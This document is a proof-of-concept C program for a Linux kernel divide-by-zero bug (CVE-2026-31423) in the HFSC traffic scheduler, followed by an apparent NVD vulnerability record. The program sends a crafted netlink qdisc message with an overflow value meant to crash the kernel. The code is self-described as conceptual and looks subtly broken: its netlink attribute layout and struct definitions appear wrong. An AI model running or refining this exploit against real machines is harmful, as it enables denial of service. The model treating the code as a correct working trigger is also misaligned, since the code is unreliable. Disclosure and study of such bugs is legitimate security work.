CVE-2026-31423

/* * PoC for CVE-2026-31423 * Conceptual trigger via Netlink message construction for tc qdisc. * This code sets up a HFSC qdisc with parameters designed to trigger the m2sm overflow. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <linux/pkt_sched.h> #include <linux/netlink.h> #include <sys/socket.h> #define TC_HFSC_RED 0x00000001 struct tc_hfsc_qopt { __u16 defcls; }; struct tc_service_curve { __u32 m1; __u32 d; __u32 m2; }; int main() { int fd; struct sockaddr_nl sa; char buf[1024]; struct nlmsghdr *nh; struct tcmsg *t; struct rtattr *rta; // The problematic value mentioned in the vulnerability report __u32 m1_overflow = 4000000000; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) { perror("socket"); return -1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(fd, (struct sockaddr *)&sa, sizeof(sa)); memset(buf, 0, sizeof(buf)); nh = (struct nlmsghdr *)buf; t = (struct tcmsg *)(buf + sizeof(struct nlmsghdr)); // Setup Netlink header for adding a qdisc nh->nlmsg_type = RTM_NEWQDISC; nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); // Setup TC message t->tcm_family = AF_UNSPEC; t->tcm_ifindex = if_nametoindex("lo"); // Use loopback interface t->tcm_parent = TC_H_ROOT; t->tcm_handle = 1; // Add HFSC options rta = (struct rtattr *)(buf + NLMSG_ALIGN(nh->nlmsg_len)); rta->rta_type = TCA_OPTIONS; rta->rta_len = RTA_LENGTH(sizeof(struct tc_hfsc_qopt)); struct tc_hfsc_qopt *qopt = (struct tc_hfsc_qopt *)RTA_DATA(rta); qopt->defcls = 1; nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta->rta_len); // Add Service Curve (RSC) parameters to trigger the overflow rta = (struct rtattr *)(buf + NLMSG_ALIGN(nh->nlmsg_len)); rta->rta_type = TCA_HFSC_RSC; rta->rta_len = RTA_LENGTH(sizeof(struct tc_service_curve)); struct tc_service_curve *rsc = (struct tc_service_curve *)RTA_DATA(rta); rsc->m1 = m1_overflow; // Trigger value rsc->d = 10; rsc->m2 = 0; nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta->rta_len); printf("Sending payload to trigger CVE-2026-31423...\n"); sendto(fd, buf, nh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); close(fd); return 0; }

{"cve": {"id": "CVE-2026-31423", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-13T14:16:12.070", "lastModified": "2026-05-20T18:06:31.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: sch_hfsc: fix divide-by-zero in rtsc_min()\n\nm2sm() converts a u32 slope to a u64 scaled value. For large inputs\n(e.g. m1=4000000000), the result can reach 2^32. rtsc_min() stores\nthe difference of two such u64 values in a u32 variable `dsm` and\nuses it as a divisor. When the difference is exactly 2^32 the\ntruncation yields zero, causing a divide-by-zero oops in the\nconcave-curve intersection path:\n\n Oops: divide error: 0000\n RIP: 0010:rtsc_min (net/sched/sch_hfsc.c:601)\n Call Trace:\n init_ed (net/sched/sch_hfsc.c:629)\n hfsc_enqueue (net/sched/sch_hfsc.c:1569)\n [...]\n\nWiden `dsm` to u64 and replace do_div() with div64_u64() so the full\ndifference is preserved."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-369"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "5F0E43E1-33E5-4828-9B4A-F710AF2E7217"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:-:*:*:*:*:*:*", "matchCriteriaId": "6F62EECE-8FB1-4D57-85D8-CB9E23CF313C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc2:*:*:*:*:*:*", "matchCriteriaId": "4F76C298-81DC-43E4-8FC9-DC005A2116EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc3:*:*:*:*:*:*", "matchCriteriaId": "0AB349B2-3F78-4197-882B-90ADB3BF645A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc4:*:*:*:*:*:*", "matchCriteriaId": "6AC88830-A9BC-4607-B572-A4B502FC9FD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc5:*:*:*:*:*:*", "matchCriteriaId": "476CB3A5-D022-4F13-AAEF-CB6A5785516A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/17c1b9807b8a67d676b6dcf749ee932ebaa7f568", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/st ... 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